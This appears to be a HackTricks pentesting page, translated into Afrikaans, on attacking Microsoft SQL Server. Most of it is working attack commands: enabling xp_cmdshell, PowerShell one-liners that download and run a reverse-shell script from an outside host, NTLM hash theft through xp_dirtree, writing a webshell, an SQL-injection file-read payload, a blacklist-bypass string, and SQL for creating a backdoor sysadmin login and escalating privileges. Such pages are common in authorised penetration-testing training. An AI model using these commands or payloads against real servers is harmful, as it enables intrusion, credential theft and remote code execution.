# 1433 - Pentesting MSSQL - Microsoft SQL Server
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**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Basiese Inligting Van [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): > **Microsoft SQL Server** is 'n **relasionele databasis**-bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primĂȘre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat Ăłf op dieselfde rekenaar Ăłf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.\\ **Verstekpoort:** 1433 ``` 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` ### **Verstek MS-SQL Stelsel Tabelle** * **meester Databasis**: Hierdie databasis is noodsaaklik omdat dit alle stelselvlak besonderhede vir 'n SQL Server instansie vasvang. * **msdb Databasis**: SQL Server Agent maak gebruik van hierdie databasis om skedulering vir waarskuwings en take te bestuur. * **model Databasis**: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server instansie, waar enige veranderings soos grootte, sortering, herstelmodel, en meer nageboots word in nuut geskepte databasisse. * **Hulpbron Databasis**: 'n Slegs-lees databasis wat stelselvoorwerpe huisves wat met SQL Server kom. Hierdie voorwerpe, alhoewel fisies gestoor in die Hulpbron databasis, word logies voorgestel in die sys skema van elke databasis. * **tempdb Databasis**: Dien as 'n tydelike stoorplek vir tydelike voorwerpe of tussenliggende resultaatsets. ## Opsomming ### Outomatiese Opsomming As jy niks weet van die diens nie: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} As jy **nie geloofsbriewe het** nie, kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge **blokkeer** as jy misluk om 'n paar keer in te teken met 'n bestaande gebruikersnaam. {% endhint %} #### Metasploit (benodig geloofsbriewe) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server) ### Handleiding Enumerasie #### Aanteken ```bash # Using Impacket mssqlclient.py mssqlclient.py [-db volume] /:@ ## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine mssqlclient.py [-db volume] -windows-auth /:@ # Using sqsh sqsh -S -U -P -D ## In case Windows Auth using "." as domain name for local user sqsh -S -U .\\ -P -D ## In sqsh you need to use GO after writting the query to send it 1> select 1; 2> go ``` #### Gewone Opsomming ```sql # Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM .INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' ``` #### Kry Gebruiker {% content-ref url="types-of-mssql-users.md" %} [types-of-mssql-users.md](types-of-mssql-users.md) {% endcontent-ref %} ```sql # Get all the users and roles select * from sys.database_principals; ## This query filters a bit the results select name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid from sys.database_principals where type not in ('A', 'R') order by name; ## Both of these select all the users of the current database (not the server). ## Interesting when you cannot acces the table sys.database_principals EXEC sp_helpuser SELECT * FROM sysusers ``` #### Kry Toestemmings 1. **Beveiligbaar:** Gedefinieer as die bronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in: * **Bediener** - Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bedienersrolle in. * **Databasis** - Voorbeelde dek databasisrol, toepassingsrolle, skema, sertifikate, volledige tekskatalogusse, en gebruikers. * **Skema** - Sluit tabelle, aansigte, prosedures, funksies, sinonieme, ens. in. 2. **Toestemming:** Verbonde met SQL Server beveiligbares, toestemmings soos ALTER, BEHEER, en SKEP kan aan 'n hoofakteur toegeken word. Bestuur van toestemmings vind op twee vlakke plaas: * **Bedienervlak** deur gebruik van aanmeldings * **Databasisvlak** deur gebruik van gebruikers 3. **Hoofakteur:** Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Hoofakteurs sluit hoofaantekeninge en databasisgebruikers hoofsaaklik in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die toekennen of ontkenning van toestemmings of deur die insluiting van aanmeldings en gebruikers in rolle toegerus met toegangsregte. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); # Show all possible permissions in MSSQL SELECT * FROM sys.fn_builtin_permissions(DEFAULT); # Get all my permissions over securable type SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # Get all my permissions over a database USE SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); # Get members of the role "sysadmin" Use master EXEC sp_helpsrvrolemember 'sysadmin'; # Get if the current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); # Get users that can run xp_cmdshell Use master EXEC sp_helprotect 'xp_cmdshell' ``` ## Sluike metodes ### Voer OS-opdragte uit {% hint style="danger" %} Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hĂȘ om opdragte uit te voer nie, maar ook die **UITVOER-permissie op die `xp_cmdshell` gestoorde prosedure** te hĂȘ. Jy kan sien wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' ``` {% endhint %} ```bash # Username + Password + CMD command crackmapexec mssql -d -u -p -x "whoami" # Username + Hash + PS command crackmapexec mssql -d -u -H -X '$PSVersionTable' # Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; # This turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #This enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE #One liner sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' # Get Rev shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' # Bypass blackisted "EXEC xp_cmdshell" '; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' — ``` ### Steel NetNTLM-hash / Oorplasing aanval Jy moet 'n **SMB-bediener** begin om die hash wat in die verifikasie gebruik word, vas te vang (`impacket-smbserver` of `responder` byvoorbeeld). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' EXEC master..xp_subdirs '\\\anything\' EXEC master..xp_fileexist '\\\anything\' # Capture hash sudo responder -I tun0 sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} Jy kan nagaan of wie (behalwe stelseladministrateurs) toestemming het om daardie MSSQL-funksies uit te voer met: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist'; ``` {% endhint %} Deur gereedskap soos **responder** of **Inveigh** te gebruik, is dit moontlik om die NetNTLM-hash te **steel**.\ Jy kan sien hoe om hierdie gereedskap te gebruik in: {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} ### Misbruik van MSSQL vertroude skakels [**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:** {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) {% endcontent-ref %} ### **Skryf LĂȘers** Om lĂȘers te skryf met behulp van `MSSQL`, moet ons **Ole Automation Procedures** aktiveer, wat admin-voorregte vereis, en dan sekere gestoorde prosedures uitvoer om die lĂȘer te skep: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE # Create a File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE ``` ### **Lees lĂȘer met** OPENROWSET Standaard, `MSSQL` laat lĂȘer **lees op enige lĂȘer in die bedryfstelsel waartoe die rekening leestoegang het** toe. Ons kan die volgende SQL-navraag gebruik: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` Egter, die **`BULK`** opsie vereis die **`ADMINISTER BULK OPERATIONS`** of die **`ADMINISTER DATABASE BULK OPERATIONS`** toestemming. ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` #### Foutgebaseerde vektor vir SQLi: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/Lees lĂȘers wat skripte uitvoer (Python en R)** MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **verskillende gebruiker** as die een wat **xp\_cmdshell** gebruik om bevele uit te voer. Voorbeeld om 'n **'R'** _"Hellow World!"_ **wat nie werk nie** uit te voer: ![](<../../.gitbook/assets/image (393).png>) Voorbeeld van die gebruik van gekonfigureerde Python om verskeie aksies uit te voer: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ### Lees Register Microsoft SQL Server bied **verskeie uitgebreide gestoorde prosedures** wat jou in staat stel om te interakteer met nie net die netwerk nie, maar ook die lĂȘersisteem en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Gewone** | **Instansie-bewus** | | ---------------------------- | -------------------------------------- | | sys.xp\_regread | sys.xp\_instance\_regread | | sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues | | sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys | | sys.xp\_regwrite | sys.xp\_instance\_regwrite | | sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue | | sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey | | sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring | | sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring | ```sql # Example read registry EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; # Example write and then read registry EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!'; EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue'; # Example to check who can use these functions Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` Vir **meer voorbeelde** kyk na die [**oorspronklike bron**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp Dit is moontlik om **'n .NET dll binne MSSQL te laai met aangepaste funksies**. Dit **vereis egter `dbo` toegang** sodat jy 'n verbinding met die databasis nodig het **as `sa` of 'n Administrateur rol**. [**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien. ### Ander maniere vir RCE Daar is ander metodes om opdrag uit te voer, soos die byvoeging van [uitgebreide gestoorde prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Versamelings](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Take](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## MSSQL Voorregverhoging ### Vanaf db\_owner tot sysadmin As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin besit word** (soos **`sa`**) gegee word en daardie databasis is ingestel as **`trustworthy`**, kan daardie gebruiker hierdie voorregte misbruik om te **voorregverhoging** omdat **gestoorde prosedures** wat daar geskep is, kan **uitgevoer** word as die eienaar (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases # Find trustworthy databases SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; # Get roles over the selected database (look for your username as db_owner) USE SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id) # If you found you are db_owner of a trustworthy database, you can privesc: --1. Create a stored procedure to add your user to sysadmin role USE CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'USERNAME','sysadmin' --2. Execute stored procedure to get sysadmin role USE EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` Jy kan 'n **metasploit** module gebruik: ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Of 'n **PS** skrips: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### Impersonasie van ander gebruikers SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die regte van 'n ander gebruiker** of aanmelding oor te neem totdat die konteks herstel word of die sessie eindig. ```sql # Find users you can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Check if the user "sa" or any other high privileged user is mentioned # Impersonate sa user EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') ``` {% hint style="info" %} As jy 'n gebruiker kan impersoneer, selfs as hy nie 'n sysadmin is nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners. {% endhint %} Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een impersoneer: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' -- Verify you are now running as the the MyUser4 login SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- Change back to sa REVERT ``` Jy kan hierdie aanval uitvoer met 'n **metasploit** module: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` of met 'n **PS** skrip: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! ``` ## Gebruik van MSSQL vir Volharding [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) ## Uithaling van wagwoorde vanaf SQL Server Gekoppelde Bedieners 'n Aanvaller kan SQL Server Gekoppelde Bedieners se wagwoorde uithaal uit die SQL-instansies en hulle in die teks sien, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te kry. Die skrif om die wagwoorde wat vir die Gekoppelde Bedieners gestoor word, te onttrek en te dekripteer, kan [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) gevind word. Sekere vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateur-regte op die masjien hĂȘ, of die vermoĂ« om die SQL Server-konfigurasies te bestuur. Nadat jou regte geverifieer is, moet jy drie dinge konfigureer, naamlik: 1. Skakel TCP/IP in op die SQL Server-instansies; 2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorvlag bygevoeg word, naamlik -T7806. 3. Skakel afstandbeheerverbinding in. Om hierdie konfigurasies outomaties te maak, het [hierdie bewaarplek](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benodigde skripte. Benewens 'n Powershell-skrip vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrip wat die konfigurasietskripte en die uithaling en dekriptering van die wagwoorde kombineer. Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Plaaslike Bevoorregtingseskalasie Die gebruiker wat MSSQL-bediener hardloop, sal die bevoorregtingsteken **SeImpersonatePrivilege** geaktiveer hĂȘ.\ Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg: {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) {% endcontent-ref %} {% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} [juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md) {% endcontent-ref %} ## Shodan * `port:1433 !HTTP` ## Verwysings * [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## HackTricks Outomatiese Opdragte ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} Entry_3: Name: MSSQL consolesless mfs enumeration Description: MSSQL enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT ; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT ; run; exit' ```
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